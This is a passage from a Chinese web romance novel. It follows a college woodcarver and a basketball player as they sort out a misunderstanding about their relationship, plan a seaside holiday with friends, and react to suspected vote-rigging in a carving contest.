孟棠拉住他的手,嘀咕了一句“做梦了”。 魏川笑了笑:“做梦了,睡吧。” 孟棠闭上眼睛,没了动静。 “睡着了好乖一个。”魏川给她拉上被子,转身给她带上了房门。 早上九点的车,八点半就得到车站,路程一个小时,七点半就得从酒店出发。 再加上洗漱吃早饭,最起码六点就得起床。 可孟棠睡得天昏地暗,魏川都有些不忍心叫她了。 但车不等人,魏川收拾妥当后还是推开了孟棠的房门。 因为敲门没什么用。 昨晚离开的时候,她是什么姿势,现在还是什么姿势。 魏川揉了揉孟棠的脸,小声叫她:“起床了,咱们还要赶车。” 孟棠不耐地皱了皱眉,根本睁不开眼睛。 “要不把你票退了,你下午再回?”魏川撑着手,悬在她上空,轻轻柔柔地问。 “不要。”孟棠朝他伸手。 魏川没懂,但下意识凑了过去。 孟棠搂住他的脖子,蹭了蹭:“这就起了。” 魏川僵硬着身体,石化了。 第121章 别动手动脚 卧室里只有床头一条晦暗的灯带,孟棠揉了下眼睛,问:“几点了?” 睡了一夜,又被早早叫醒,她的声音比平时低沉一些,语速也慢,带着点起床气的慵懒。 魏川抬手,看了眼手表:“六点十分了。” “好吧。”孟棠艰难地从他肩上离开,“你先出去,我换衣服。” 她仰着头,眼睛只睁开一条缝,魏川柔声道:“要不还是改票吧?” 孟棠摇了摇头:“不改了。” 魏川无奈道:“那我出去了,你换吧。” “好。” 魏川傻愣愣出了孟棠的房间,在门口不断地搓自己的脖子。 可怕的是,那一抹清甜的木香怎么也搓不掉,就像生入了他的骨髓。 他直勾勾盯着卧房的门板。 孟棠她……是不是开始喜欢他了? 昨天还主动亲了他,惹得他半宿没睡,今天早上又来这么一出,他真的扛不住。 孟棠换好衣服,披散着长发出了房间,门一开,被堵在门口的魏川吓了一跳。 “你一直站这儿干什么?” “等你。” “你洗漱了?”孟棠皱着一张脸。 魏川点了点头:“洗了。” “那我也去洗了。” 睡醒的模样原来这样可爱,魏川心脏被击了下。 孟棠企鹅似的来回晃着步子,往卫生间里去。 大腿和小腿两侧酸感爆棚,动作大一点会疼。 魏川直接看笑了,又怕笑出声被她瞪,只能扭过头偷着乐。 孟棠洗漱完,又慢吞吞回房间收拾了东西。 东西不多,但挺重的,和魏川一样,就一个包。 收拾好,孟棠出了房间,说:“我好了,下去吃饭吗?” “去车站再吃。”魏川朝她伸手,“包给我。” 孟棠将包给他,自己就拿了手机。 到一楼前台退了房,两人打车去了高铁站。 孟棠戴着一款黑色的渔夫帽,挡了魏川大半的视线。 魏川问她:“早饭吃什么?” 孟棠转过头:“都可以。” 魏川一人挎着两个包,好在人高马大不违和,进了站,他们去了二楼的肯德基。 旁边正好就是他们的检票口,电子屏看得一清二楚。 魏川将包放下,说:“时间还早,慢慢吃。” 孟棠点了点头:“对了,我的票你买了吗?” 昨晚洗澡的时候让他帮着买的,身份证还在他那儿呢。 “买了。”魏川扫码点了餐后,将身份证推给孟棠,“你生日是5月18号?” “对。”孟棠从自己的大包里翻出一个手掌大的小包,将手机和身份证全都塞了进去。 魏川若有所思,距离她生日,差不多还有一个月的时间。 他追一个月,应该可以告白吧? 孟棠不喜欢人多,最好只有两个人。 可她和谢泠音她们关系不错,有朋友见证是不是会更好? 想得入神,孟棠叫他取餐都没听见。 孟棠抬手推了下他:“魏川,取餐了。” 魏川终于回了神:“你坐着,我去。” 孟棠想去都去不了,刚才上这二楼,都是抬着一只脚再绷直上来的。 时间足够,两人悠闲地吃了早餐。 吃完饭,孟棠一直在玩手机,谢泠音问她什么时候回去。 在寝室群里聊了会儿,忽然侧面压下一道阴影。 孟棠抬眸,看着不认识的面孔一愣:“你有事吗?” 男生羞赧地挠了挠头:“能不能加个微信?” “啊?”孟棠下意识看向魏川。 魏川敲了敲桌面:“我的要不要?” 男生一脸懵:“你们一起的?我还以为你们不认识,抱歉啊。” 魏川白了他一眼,男生尴尬地走了。 肯定是故意的,怎么可能看不出来他们是一起的呢? 魏川瞥了下四周,发现他和孟棠中间空着一个位置,空的座位放的是包。 怪不得。 魏川将包拿到另一侧,屁股一抬,坐到了孟棠的旁边。 孟棠朝他笑了笑,安抚一下他吃醋的情绪。 魏川还真被安慰到了。 坐了半个多小时,孟棠指了指自己的腿: “我也走不快,下去检票口排队吧,我看很多人已经排着了。” 魏川拿起两人的包,率先走到楼梯口,随后对孟棠伸出手。 孟棠还以为他要牵手,直接握了上去,哪知魏川拽住她的手腕一扯,将她搂进怀中:“抱你下去,自己走不知道要走到哪天。” 说完,单手箍着她的腰,毫不费力地下了二楼。 孟棠揉了揉腰,眉头皱了起来。 “怎么了?”魏川勾着头问。 “勒疼了。”孟棠抬眸看了他一眼。 魏川隔着外套,掌心贴上去:“这儿?” 孟棠躲了下:“别动手动脚。” “抱、抱歉。”魏川结巴了下,“我想帮你揉一下来着。” 大庭广众揉腰?他敢揉,她都不好意思。 孟棠赶紧说:“没事了,已经不疼了。” 检票开始,魏川微微倾身向前,跟孟棠说:“我只能买九点的票,只有一等座了,商务座没有的情况下,大概率是团体预定锁了。” 因为别的时间段,商务座都有票。 这条线他查了一下,是连接两座省会的黄金线路,政企通勤、企业高管出行频繁,预定锁票也很正常。 “没事。”孟棠说,“两个小时,很快就到了。” 人挤人,魏川只能在她身后护着点。 他这大高个往那儿一堵,别人也越不过去。 上个车的工夫,孟棠连续打了两三个哈欠,时不时低头抹一把眼泪。 魏川将包放进上头的行李架上,转头坐下将耳机拿一个给了孟棠:“听不听歌?” 孟棠接过去,笑着问:“你这耳机怎么是粉色的?” “我三姐给我的。”魏川说,“好像这颜色还是限量款,你喜欢吗?喜欢给你。” “别太夸张。”孟棠一看就知道不便宜,“我很少用到耳机,你自己留着吧。” 魏川将耳机给她戴上,孟棠侧眸:“你都听什么歌?” “什么歌都有,你听听呗。”魏川将播放键打开。 孟棠其实有些困,但魏川一腔热情也不好拒绝,只好耐着性子听一听。 一段熟悉的节奏响起,她倏地扭过脸:“这首歌我也喜欢听。” 是五月天的《温柔》 孟棠静静听着,头一点一点跟着晃。 魏川微微歪着身体,就那么盯着她看。 由于孟棠戴了帽子,只能看到嘴巴一张一合在动,她在无声地跟唱。 一举一动全都晃进了魏川的心间。 动车很快启动,一首歌听完,孟棠问魏川:“你会不会唱歌?” “当然了。”魏川挺直了腰背,一副自信的模样,“什么时候咱们去唱一个?” “我不会。”孟棠摇了摇头,“我跟泠音她们去过,泠音唱歌好听。” 魏川说:“下次有机会一起去唱唱看。” 孟棠点了点头。 又往下听了几首,孟棠渐渐合上了眼皮。 耳机顺着她肩头落下,魏川捡起来,往她那边动了动。 五分钟后,孟棠完全靠了过来。 魏川仗着手长,拿出手机对着两人自拍了一张。 他朝镜头比了个剪刀手,放到了孟棠的头上。 两小时后,孟棠被迷迷糊糊叫醒。 他俩是最后一个下的车,魏川说:“慢慢走,我们去停车场,我开车过来的。” “好。” 上了车,孟棠看了眼手机,已经十一点多了,回到学校正好吃个饭再上楼休息。 孟棠系上安全带,瞥了魏川一眼:“你下午就要去训练吗?” “嗯。”魏川启动车辆,“我今晚还得加练。” “那你自己别累着。”孟棠关心了一句。 魏川心潮又开始澎湃了,关心是爱情的第一步。 回到学校,魏川将孟棠往食堂带,说:“我知道你可能不饿,吃一点吧,下午会饿。” “知道,我下午要休息会儿。” “腿还疼?” “又酸又疼,也不知道小时候的山路,一天是怎么熬下来的。” 魏川失笑:“小孩精力都旺盛,我小时候三个保姆带我,都被折腾得够呛。” 孟棠惊了:“三个保姆都按不住你?” 比过年的猪还难按? 魏川难得尴尬,他往回找补:“其实也还好,男孩子嘛,皮一点正常。” “我看你不止皮一点吧。”孟棠觉得好笑,“是皮很多点吧?” 魏川哑口无言,等红灯的时候,突袭捏住她的脸:“你现在越来越会怼我。” 孟棠拍了下他的手,语气嗔怪:“疼。” 魏川收回手,寻思道:“我也没用力啊。” “这只是你以为。”孟棠看过他扣篮,是能打碎篮框的力道。 从车站一把搂住她下楼就能看得出来,他平日里有些力道是没轻没重的。 “那我下次轻点。” 孟棠斜了他一眼:“绿灯了。” 魏川赶紧走人。 到了学校,孟棠和魏川又去食堂吃了饭,孟棠没吃多少,吃完饭,魏川又将她送回了寝室。 还好有电梯,不然她这腿还得受罪。 谢泠音她们都在,下午有课,中午回来休息。 打了招呼,孟棠将包里的东西全都拿出来摆好。 刚上床休息,手机一震,魏川发了一条信息过来。 孟棠点开一看,是她睡着时的照片,还是和他的合照。 孟棠笑了笑,保存下来,设置成了朋友圈的背景。 第122章 把定情信物给了一个傻子 孟棠给魏川截了图,发送了过去。 五分钟都没回,她就知道他去训练了。 孟棠熄屏手机,打开了电脑。 木雕大赛已经接近尾声,投票还剩最后一个礼拜就截止了。 孟棠看了眼就关了页面,合上电脑盖时,刮到了挂着的黄连木的书签。 她不由自主打开手机,对着书签拍了照片,随后发进了朋友圈。 她的好友除了室友外,大多数都是同学,还有社团的朋友。 大多都是点赞的关系,但今天这条发出去,不少人都给了评论—— 【哇喔,磕到了。】 【学姐,你故意发的朋友圈吧?超绝不经意的呢。】 【这个书签怎么做的啊?好漂亮。】 【恭喜恭喜,虽然我早就知道了。】 【什么时候让男神来我们社里玩一玩。】 【同意,盼一个木雕社和篮球社的联谊。】 孟棠笑着一一回复。 看了眼背景图,她也没有不经意吧。 人间都有情侣头像什么的,她都没要求魏川换上。 孟棠关了手机,跟谢泠音她们说了声,就去睡觉了。 魏川很晚的时候才看到孟棠的朋友圈动态。 但他没有被动态吓着,倒是被她的背景图惊着了。 图片里她只露了个嘴巴,他可是实实在在露了全脸。 她什么意思啊? 魏川百思不得其解,转头拿给田聿看:“你说,孟棠是什么意思?” “应该是催你赶紧告白的意思吧?”田聿猜测。 魏川又问邵一鸣,邵一鸣说:“我跟田子一个想法。” 这两人虽然谈过恋爱,但没谈几天就分了。 魏川对于他们的话,保留着存疑的态度。 他还是给许鹤清打了个电话,许鹤清给了他一个靠谱的回答: “我去泠音那儿给你探听探听详情,看看人家对你心动到百分之多少了。” “好兄弟。” 许鹤清“嘁”了声:“现在就给少爷去问,等着吧。” 孟棠今天是请假的,所以没去上课。 谢泠音她们出门的时候也没吵醒她。 刚到楼下,许鹤清打了电话过来,问:“孟棠的朋友圈背景是什么意思啊?” 谢泠音一愣:“什么什么意思啊?” 许鹤清:“就是她的朋友圈背景啊,不是魏川嘛。” “是魏川啊。”谢泠音说,“还是魏川自己拍的,发给了孟棠后,她就做了朋友圈的背景图。” “那她还挺喜欢魏川的哈?”许鹤清试探道。 谢泠音蹙了蹙眉:“你到底要说什么?谁会把不喜欢的人放朋友圈啊?” 许鹤清:“OK稳了,我知道了。” “神经兮兮的,你知道什么你知道。”谢泠音吐槽。 许鹤清笑了声:“我笑他们很快就会复合,你信不信?” “……”谢泠音一脸懵,“很快就会复合?什么意思?他们不是已经复合了吗?” 许鹤清:“……什么时候复合的?我怎么不知道?” 谢泠音:“孟棠说的啊,说他们已经复合了。” “啊?”许鹤清也懵了,“复合了为什么魏川还要准备告白啊?” “他不是告过白吗?”谢泠音越来越听不懂了。 许鹤清:“复合不就相当于重追一次,他再告一次白也正常吧?” 谢泠音:“……我彻底晕了。” “不是,孟棠跟你说她和魏川已经复合了,那会不会是魏川那个傻子会错意了?”许鹤清终于抓到了问题的关键。 谢泠音:“我不知道,等我下课回去再跟你说吧。” 孟棠下午四点醒了过来,她撑着晕乎乎的脑袋,缓缓下了床。 她倒了杯水喝完,又去洗了把脸。 肚子有点饿,孟棠从桌下的零食箱里扒拉了一瓶酸奶和面包。 谢泠音推门进来,放下包拉过椅子往她身旁一坐。 孟棠愣了愣,将面包递过去:“吃吗?” 谢泠音拨开她的手,摇了摇头:“我现在想问你一件事。” 孟棠被她严肃的模样弄得一怔:“什么事啊?” “你跟魏川真的复合了?” “是在一起了。”孟棠说,“你怎么又问这个?” 谢泠音“啧”了声:“可为什么,魏川说你们没有啊?” “啊?”孟棠懵了,“他亲口说的?” 谢泠音说:“是许鹤清啦,他突然问你朋友圈背景照片的事,还说什么要跟你告白。” 孟棠心下一动:“他说的?” “是啊。”谢泠音说,“我还问了许鹤清,魏川不是已经告过白了吗,他说复合再告一次白也正常。” 孟棠算是明白了,她和魏川就没在一个频道上。 她认为,他们接吻了,就是在一起了。 他没有get到她的意思。 但也不能全怪魏川,她送了那只木蝉,没跟魏川说清楚。 现在又从谢泠音口中得知魏川要告白。 一个属于她的告白。 因为只有他俩知道上次的告白是个乌龙。 谢泠音见孟棠发呆,抵了下她:“所以你俩到底复没复合?” 孟棠笑了声:“你就跟许鹤清说,我跟没跟复合就行了。” “啊?你俩真的把我绕进去了。”谢泠音快崩溃了。 “你就这么说吧。”孟棠说,“我也不知道怎么跟你解释。” “行吧。” 谢泠音当着孟棠的面给许鹤清打了电话。 魏川晚上十一点回到寝室,每一个人睡的。 大学生就不可能在十二点之前睡觉,魏川已经在训练馆洗过澡了。 他拉过椅子坐下,问许鹤清:“今天让你问的事怎么样了?” 许鹤清说:“可以肯定孟棠喜欢你,但这事有点奇怪。” “怎么奇怪了?”魏川瞥了他一眼。 许鹤清说:“我问泠音的时候,斩钉截铁说孟棠已经跟你复合了,后没一会儿又改口了。” “跟我复合了?”魏川一愣,“她什么时候跟我复合了?” 许鹤清摊了摊手:“问你自己啊。” 魏川仰面瘫靠在椅子上,半晌后,忽然睁开了眼睛。 大雨那天,是孟棠态度转变的节点。 自从那天之后,她对他就亲近了许多。 他以为是答应让他追求才这样的,难不成是因为她其实已经接受了他? 卧槽! 魏川被自己的想法惊呆了。 他到底是在自作多情,还是真的错过了什么? 魏川百思不得其解,余光突然瞥到孟棠送他的木蝉。 明明第一次要买,她死活不卖的。 那天大雨,就这么给了他。 魏川拿出手机,刚要拨通孟棠的电话,又缩回了手,翻了翻通讯录,看到了孟遇春的号码。 可老头这会儿肯定也睡了。 魏川只能强迫自己去睡觉。 第二天上午两节课后,他直接一个电话杀了过去。 孟遇春正在喝茶,被震天雷的铃声吓得差点没呛死。 他接了电话,骂道:“臭小子,差点被你一脚踢进棺材里。” 魏川听到他的呛咳,“啧”了声:“这么大人了,喝水也能呛着。” “还不是你突然打电话过来,铃声太响吓着我了。” “哦,那我下次打电话给您之前,先给您打个电话告诉您一声。”魏川跟他搞抽象。 “赶紧滚蛋。” “您耳背还怪我了。”魏川委屈道。 “到底什么事?欺负孟棠了?”老爷子张口就胡扯。 “我敢吗?”魏川冤死了,“我就是想问问,孟棠给我的那只蝉您知道吗?” 老爷子冷哼:“怎么?炫耀来了?” “没有。”魏川哪敢,“我就是想问问,这只蝉是不是有什么寓意啊?” 老爷子笑了:“孟棠没跟你说啊?” 魏川赶紧道:“她要是跟我说了,我也不至于来问您啊。” 老爷子“呵”了声:“得,把定情信物给了一个傻子。” 定情信物?魏川眼睛蓦然睁大,追着手机里问:“到底什么意思?您跟我说说呗。” “蝉鸣直白,执拗热烈,是孟棠十七岁时候雕刻的少女心事。” “少女怀春,羞于表达,表面如平静死水,内心汹涌如蝉鸣震耳欲聋,这叫生物学拟态的隐喻,懂了吗?” 魏川心头震动,似乎有无数只蝉飞进去叫唤。 叫唤得他差点没站住脚。 魏川挂了电话,飞快往楼下跑。 原来她早就将一切都给了他,给了他一场十七岁的少女心事,给了他美好纯净的初吻,给了他温柔的包容和爱…… 大雨里那个冒犯的吻,是她隐晦婉转的暗示。 魏川的胸腔剧烈起伏,他又拿出手机,给孟棠拨去电话。 电话很快接通,魏川喘着气问:“你在哪儿?” “我在理论教室,怎么了?” “我现在过去找你。” “我还要上课呢。” “就见一下。” 孟棠沉默了一瞬,说:“已经快上课了,赶得上就见你,赶不上我上课了。” “好,我现在就过去。” 孟棠看着挂了的手机愣了下,急匆匆的,是有什么事吗? 第123章 十天不见呢,抱一下 孟棠在阶梯教室的门口等了七分钟,魏川还没来。 她知道他今天的课表,也是理论课。 从体院到美院,路程不短,即便他骑着平衡车,都得要十几分钟。 “孟棠,上课了。”谭曦打开窗户探出头,“老师来了。” 孟棠张望了几秒,转头进了教室。 课上了十来分钟,孟棠有些心不在焉。 手机里听魏川的语气有点急,她怕他真有事。 手机刚拿出来,阶梯教室的门被人叩响。 “老师,我找一下孟棠,能让她出来一下吗?” 所有人的视线集中到孟棠这里,还夹杂着吃瓜的起哄。 魏川是名人,老师们都认识,关于他和孟棠的事,多多少少也知道点。 老师朝孟棠挥了下手:“快去快回。” 孟棠走到门口,一把将魏川扯远了。 “你真勇,我上课呢,你就把我叫出来。” 魏川在来的路上其实已经冷静了。 许鹤清从谢泠音那儿得知孟棠没有跟他复合的信息,应该是孟棠让谢泠音说的。 他不知道她是想等一场告白,还是因为会错了意而羞愤。 不管哪一个,他都不可以挑明。 他装不知道的话,孟棠不至于羞愤,告白也能多几分期待。 而且,她朋友圈的背景照片已经被她换了。 魏川说:“明天开始,东南赛区晋级全国赛的队伍要搞联合训练,10天封闭式的训练。” 没听说啊,孟棠一愣:“在哪儿啊?” 魏川说:“去临省,所以想在走之前,跟你说说话。” “知道了。”孟棠说,“我这段时间应该也忙的,要去博物馆。” 她不是天天去,没课和周末的时候会过去。 修复工作本就是李寒津主导,既然人家听了她的意见,她也不好插手太过。 魏川想到李寒津就不爽,但这情绪不能对着孟棠,只能道: “会不会很晚回来?” “应该会有。”孟棠说,“我坐地铁。” 地铁口就在学校对面,倒也不远,魏川说: “我封闭式训练,不能回信息,但是可以看到信息,你能不能每晚给我发一条‘晚安’?” 孟棠点点头:“可以,你还有什么要说的?没有我就回去上课了。” “我看到你朋友圈发的动态了。”魏川一把将她拉住,“那是黄连木的叶子吧?你做成了书签?” “嗯,好看吗?”孟棠问。 “好看,但你不是拿去做作业了吗?”魏川微微低着头,不错过她脸上任何细微的表情,“是我给你的那片?” “是你给的那片。”孟棠没有避开他的视线,“当时只有这一片和别的叶子格格不入,我就留了下来。” 其实也没那么格格不入,只是莫名其妙的,她就没舍得沾上胶水。 魏川轻笑:“我也有你的书签,算是情侣款吗?” 孟棠哼了声:“那不是你抢的吗?” “反正给我了。”魏川瞥了眼她,不经意道,“还有那只蝉。” 孟棠突然变得不自在,庆幸那天大雨,她没来得及跟他解释寓意。 按照魏川的脑回路,应该也没参透。 魏川了然一笑,问:“你五一回家吗?” 孟棠摇摇头:“不回。” 魏川说:“五一天气好,我集训也回来了,应该有两三天的假,到时候叫上我们的室友,去海边玩一玩?” “这事我跟许鹤清说了,他也有这个意思,说谢泠音懒得回去,想出去玩儿。” “谢泠音应该还没跟你说,你回去可以问问石岚和杨可,告诉她们,全程不用她们花一分钱,我和许鹤清包了。” 本来这事就是他提议的,想要全包的,但许鹤清说跟他一人一半。 一人一半也行,魏川完全没意见。 孟棠一愣:“你俩这是已经商量好了吧?” “对,猜到你们应该会去。”魏川笑了声,“我也好久没出去玩了,每年都得参加比赛,循环了一样。” 全国赛一结束就是开学,开学就是基层赛,基层赛后是寒假,寒假后是分区赛,然后又是全国赛…… 孟棠说:“好,那你和许鹤清有想去的海滩吗?” “这个你们女生商量去,我没时间,只管出钱,你们意见统一了,我们都行。” “但时间限制,去不了太远,你们就在附近几个城市找找。” “行吧,那我回去上课了?” “十天不见呢。”魏川盯着她,“要不……抱一下?” 孟棠还没答应,魏川俯身抱住了她。 阶梯教室很大,四个大窗基本能将外面的场景看透。 当魏川抱上来的那一刻,教室里先发现的同学扯着嗓子叫得像开水壶。 魏川被吓了一跳,立马松开了孟棠。 他抬手指了指:“卧槽,你们真是……” 孟棠一把推开他:“你才真是……我上课去了。” 她挡着脸,尴尬地逐级而上,最后在谭曦身边坐下。 谭曦在课桌下抵了抵她,孟棠赶紧躲过去,给了她一个“你饶了我吧”的眼神。 下午四点,魏川给孟棠发了条信息。 是一张坐在大巴上,戴着耳机的自拍照。 这是马上要出发了?孟棠给他回了个“一路平安”的表情包。 她给谢泠音打了电话,得知她们三个在食堂,便找了过去。 买了饭坐下后,孟棠问谢泠音:“五一出去玩的事,你跟她俩说了没有?” 谢泠音点点头:“说了,就等你商量着去哪儿玩呢。” 孟棠看向石岚和杨可:“你们想去哪儿?” “你俩选吧。”石岚说,“我和杨可沾你俩的光。” 谢泠音说:“你别问了,我都问一下午了,她俩也没个答案。” 孟棠抬起头,直愣愣道:“你让我选木料,我当场给你选出来,出去玩,我真不擅长。” 谢泠音被逗笑:“其实我们有几个选择的地方,待会儿我发给你,你自己先看看。” “行。”孟棠点了点头,“是在附近吗?” 谢泠音回:“是附近,太远了也去不了。” 吃完饭,几人回了寝室。 孟棠将谢泠音发给她的地方都在网上搜索了一遍,跟谢泠音说: “这些地方是不是都很热门啊?人应该会很多吧?” “其实附近有个螺洲岛,那里很冷门。”杨可说,“前两年我哥嫂带孩子去玩过,说还可以。” “螺洲岛。”孟棠嘀咕了声,“我搜搜看啊。” 第124章 距离他们见面还有三天 搜出来的照片倒是挺美的,也有相关的度假酒店和民宿。 “要不就这个?”孟棠说,“我也不知道怎么选了。” 谢泠音说:“行啊,我现在告诉许鹤清,让他安排去。” 孟棠也给魏川发了信息:【你到了吗?】 魏川:【吃饭呢,刚到没多久。】 孟棠:【你去过螺洲岛吗?杨可说这里很冷门,景色也不错。】 魏川:【没去过,你们已经选定了地方?】 孟棠:【选了,这里相对而言,人应该少一点,不然五一哪里都不能去。】 魏川:【你们选好就行,让许鹤清安排就行。】 孟棠:【知道了,我去洗澡了,提前跟你说晚安,晚上我就不说了。】 魏川:【好,但我能不能再提一个过分的要求?】 孟棠瞪眼,什么过分的要求? 知道过分还提什么? 半晌,对面给她发了个垂头丧气的小狗表情,说:【算了。】 孟棠不忍心,问:【什么要求啊?】 魏川立马复活:【能不能给我拍张照片,正面的。】 孟棠一愣:【我的照片?】 魏川:【是,说实话,有点想你,又见不到,也没法视频,我手机里没有你的一张正脸照。】 自从得知了孟棠的心意,魏川的胆子也大了起来。 文字感的直白直冲眼底,孟棠愣了下,随后举起了手机。 她手机里没有自拍的照片,只能给他现拍一个。 谢泠音看到,帮她打开了台灯,说:“这样更好看一点。” 孟棠抿着唇,转眸看向谢泠音,明显不好意思了。 “你拍你拍,我不看。”谢泠音忍着笑回到了自己的位置上。 偏偏石岚又问:“拍什么?” 谢泠音指了指孟棠:“自拍呢。” “发给魏川的吧?”杨可又嗑到了。 谢泠音点了点头。 孟棠不断找着角度,拍了一张又一张,就是不满意。 她觉得很别扭。 最后实在没招了,对谢泠音说:“泠音,要不你帮我拍一张?” 谢泠音忍着笑,从她手中拿过了手机:“你就宠他吧。” 孟棠不自在地咳了声:“一张照片而已。” 谢泠音打开相机,说:“你头稍稍往右动一动,下巴稍微抬一下。” 孟棠一一照做。 谢泠音说:“你要不要笑一笑?有点绷着脸。” 孟棠露了个很浅的笑。 “好了。” 咔嚓一声拍完,谢泠音将手机给孟棠:“自己看看满不满意。” 孟棠看了眼,说:“挺好的。” 谢泠音:“那还不赶紧给人发过去。” 说实话,魏川已经不抱希望了,因为孟棠五分钟都没回复他。 直至手机震动,一张新鲜出炉的照片现于眼底。 田聿贱兮兮地凑了过去:“川哥,笑什么呢?这么不值钱?” 魏川头都没偏一下,反手挡在田聿胸口:“滚蛋。” 发完照片,孟棠有一种莫名的羞耻感。 随后,手机响了声,她垂眸一看,只有四个字:【超级漂亮。】 魏川是一团烈焰,看人的眼神、拥抱的动作、夸赞的话语……都是直白的。 孟棠在桌前坐了许久,任由因他而跳动不止的心渐渐平复。 魏川走的第三天,孟棠去了博物馆。 谷雨时分找到的木料已经被处理置于无酸棉布上。 冷光一打,木纹显出细密的纹路,像人身体中的一条条脉管。 孟棠从工具箱里取出戗刀,敲了下观音像断裂的左臂截面,说: “现在的人用环氧树脂,这样会把木头闷死,清朝中期流传下来的工法是木胎裹麻布,再上大漆灰。” “塑胎时在断面处反复揉压,直至新灰溶于旧灰,直至完全咬合。” “前面的路顺了,后面的雕形、接魂才能无限接近于原件。” 李寒津看着孟棠,目光糅杂着一团火。 他自小就知道孟棠天赋异禀,可这么小的年纪,将老爷子的手艺学得又精又钻,这世上就没几个人能做到。 更别说还是一个女孩子。 孟棠直起腰,撞上李寒津的视线。 李寒津的神情难掩崇拜,孟棠撇过头,继续手头的活儿。 忙了一天,孟棠打算回学校吃一口。 还没到地铁口,李寒津开车追了上来。 他降下车窗,对孟棠说:“上来,我送你回去。” 孟棠瞥了他一眼:“我坐地铁。” 李寒津蹙眉:“你就这么不待见我?” “要不是观音像,我们可能已经没有交集了。”孟棠平静地看着他,“李寒津,你是不是喜欢我?” 李寒津的目光隐在车厢里晦暗难明,他没想到孟棠能直接到这个地步。 孟棠见他去解安全带,阻止道:“你不用下车,我都知道了。我只是想跟你说,从前你在我家时,我把你当师兄和对手,现在什么都不是,而且魏川也不乐意你整天纠缠我。” 李寒津僵硬在车上,眼睁睁看着孟棠进了地铁口。 这章没有结束,请点击下一页继续阅读!孟棠进了地铁站,给魏川发了条:【我进地铁站了,回学校途中。】 隔天中午,魏川才看到。 他本来只是想要一句“晚安”,但孟棠空闲了会跟他闲聊。 没人懂他拿到手机,看到一连串信息时的心情。 和他一起训练的都调侃他是不是打鸡血了。 哎呀,可惜啊,十分钟而已,又得交手机了。 孟棠回到寝室,谢泠音给她发了一张图片。 “你给我发了什么?”她将包包取下,挂在柜子上。 “两天的游玩行程。”谢泠音说。 孟棠拉开椅子坐下,看了眼,说:“这个地方要去码头乘船啊?” 谢泠音说:“是啊,先做高铁再转车,差不多四五个小时吧。” 孟棠低头看着图片,许鹤清安排的是渔家乐,海景房是最贵的。 不过看计划表,应该还挺好玩的。 第一天沙滩日落加烧烤,第二天看日出和环岛骑行。 孟棠看了眼谢泠音,说:“许鹤清这表格做的很细啊,一天的行程安排都标注着时间,甚至一日三餐吃什么,去哪儿吃都例了出来。” “他就是一个有计划的人。”谢泠音说,“凡事不在他掌控中,浑身难受。” “呦呦呦,掌控欲啊。”石岚开口调侃,“咱大校草平时接吻是卡着你的脖子,不让你逃跑的那一类吗?” 谢泠音被调侃得红了脸:“滚哪!” 孟棠赶紧低下头,生怕石岚再调侃她。 可她满脑子都是魏川亲她的模样,倒没有按着她的脖子不让走,只是有些莽撞。 孟棠拍了下额头,赶紧洗澡去了。 第二天,许鹤清拉了一个群,里面多了一个人,是李卓的女朋友。 许鹤清要了所有人的信息,买了来回的票。 孟棠按部就班过着日子,突然发现第七天的时候,时间好像不走了。 她有一种很久很久没有见到魏川的错觉。 其实才过去一个礼拜,而距离他们见面还有三天。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第125章 在你们寝室楼下,下来吧 最后三天的每一分每一秒都很难熬。 不仅仅是孟棠有这种感觉,大家都有一种即将要放假的心浮气躁,压都压不住。 走在路上都是讨论放假去哪儿玩。 心不静的情况下,就不适合去木雕工作室了。 孟棠干脆在群里约人,问有没有去逛街的。 石岚第一个回:【太阳打西边出来了,你要去逛街啊?】 孟棠:【出去玩没什么合适的衣服,想去买两件。】 杨可:【你还别说,我也没合适的衣服,去年的又不想穿。】 谢泠音:【我防晒都用完了,顺道去买个化妆包。】 孟棠:【走不?我下午没课。】 谢泠音:【走。】 石岚:【先回寝室一趟,我要回去换个衣服,衣服画画的时候弄脏了。】 孟棠:【我在寝室,你们回吧。】 等了二十分钟,谢泠音她们回了寝室。 她们逛街都有固定的地方,孟棠不太爱网购,每次缺什么,就去几个商场逛逛。 谢泠音挽着孟棠,说:“夏天快到了,店里的衣服颜色都明亮了不少。” 孟棠看着一水儿鲜亮的颜色,说:“去海边也不适合沉闷,不然出片也不好看。” “这个试试?”谢泠音指了指不远处的一件红色碎花吊带上衣,“你穿应该很好看,你皮肤白。” 孟棠一看颜色就劝退,反而指了指一旁的水墨色长裙:“要不这个吧?” 谢泠音:“……这颜色哪里适合海边了?你就算不选个红的,也选个蓝的或者浅黄的。” 石岚也来劝她:“你试试呗,五月海边其实还冷呢,它这件吊带外边还有白色的针织,可以一套都收了。” 杨可说:“是还可以,衣服光看也没用,要不你试试?” 孟棠再次看向她们:“确实适合我吗?你们别是整我的?” 谢泠音直接将她推进试衣间:“我保证你穿上好看,你跟我们的长相不一样,我适合那种浅蓝浅黄的,你的长相其实偏冷,适合红色的。” 店员都是人精,直接将衣服拿了过去:“我再去给您拿一条裤子搭一下。” 孟棠盛情难却,进去换了衣服。 里面也有镜子,她自己照了照,发现确实还可以,衬皮肤。 她出来的时候,明显可以看到谢泠音眼底的惊艳。 “好看。”谢泠音说,“这边还有个配饰,可以系脖子上,也可以绑头发上。” 不得不说,衣服还得试。 红色穿上身,也没有想象中那么张扬。 孟棠买东西也不爱犹豫,直接让店员将一套衣服包了起来。 随后,谢泠音也买了一件蓝色的连衣裙,至于杨可,她一向不爱穿裙子,买了两件短袖。 “再去看看帽子呗。”石岚拨了下自己的短发,“孟棠刚才那身适合大宽檐的草帽。” 谢泠音说:“去啊,既然都出来了,该买的都得买。” 杨可调笑道:“那你们仨买不买比基尼?” “我不买。”孟棠立刻表明态度,“才五月,想冻死吗?” 石岚嘿嘿一笑:“我更不会买了,我又没男朋友。” 谢泠音:“……我也不买!” 在许鹤清面前穿是可以的,要是再给梁衡他们看见,许鹤清指不定怎么收拾她。 他那人最小心眼! 孟棠买了帽子和一个包,可以说是满载而归。 回到寝室的时候已经很晚了,孟棠按照约定,给魏川发了“晚安”。 平时她会多发两句,今天走了不少的路,她现在只想睡觉。 第二天平平淡淡的度过,晚上的时候,是木雕大赛投票截止的最后一天。 孟棠习惯性上网翻了下,这一看直接愣了,一夜之间,她的票涨了一万。 而第二名,仅比她少300多张。 这有点诡异,因为她一直都高于第二名3000多票的。 现在她和第二名一夜之间缩短,且甩开别人这么多,实在诡异。 孟棠控制鼠标,翻到留言页面,发现里面已经吵翻天了。 因为有人说第一第二名是刷的票。 孟棠当即按照页面上的联系方式联系了主办方,但打了几个电话都在占线。 等了二十来分钟才接通。 